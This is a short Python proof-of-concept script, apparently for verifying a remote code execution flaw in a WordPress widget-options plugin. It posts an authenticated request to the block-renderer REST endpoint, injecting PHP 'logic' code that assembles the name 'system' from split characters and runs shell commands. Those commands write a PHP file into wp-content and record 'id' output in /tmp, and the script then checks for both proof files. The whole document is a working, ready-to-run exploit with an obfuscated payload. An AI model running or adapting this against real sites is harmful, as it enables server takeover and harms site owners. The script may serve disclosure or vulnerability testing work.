#!/usr/bin/env python3
import json, os, urllib.request, urllib.error, base64
SITE    = os.environ["WO_SITE"]
WEBROOT = os.environ["WO_WEBROOT"]
USER    = os.environ["WO_USER"]
PASS    = os.environ["WO_PASS"]
BLOCK   = os.environ.get("WO_BLOCK", "core/archives")
proof_php = os.path.join(WEBROOT, "wp-content", "wo_rce_proof.php")
proof_txt = "/tmp/wo_rce_proof.txt"
for p in (proof_php, proof_txt):
    try: os.remove(p)
    except OSError: pass
cmd = ('echo "<?php echo 7*6;" > {php}; echo PRUVA_RCE > {txt}; id >> {txt}').format(php=proof_php, txt=proof_txt)
payload = ("$z = 's'.'y'.'s'.'t'.'e'.'m'; "
           "${{'z'}}('{cmd}'); return true;").format(cmd=cmd)
body = {"attributes": {"extended_widget_opts_block": {"class": {"logic": payload}}}, "context": "edit"}
data = json.dumps(body).encode()
url  = SITE + "/wp-json/wp/v2/block-renderer/" + BLOCK
auth = base64.b64encode(f"{USER}:{PASS}".encode()).decode()
req  = urllib.request.Request(url, data=data, method="POST",
       headers={"Content-Type": "application/json", "Authorization": "Basic " + auth})
print("POST", url, "(context=edit in BODY, none in query string)")
try:
    with urllib.request.urlopen(req, timeout=30) as r:
        print("HTTP", r.status); print(r.read().decode(errors="replace")[:400]); code = r.status
except urllib.error.HTTPError as e:
    print("HTTP", e.code); print(e.read().decode(errors="replace")[:400]); code = e.code
print("PHP_PROOF_EXISTS", os.path.exists(proof_php))
print("TMP_PROOF_EXISTS", os.path.exists(proof_txt))
if os.path.exists(proof_txt):
    print("TMP_PROOF_CONTENT>>"); print(open(proof_txt).read(), end=""); print("<<TMP_PROOF_CONTENT")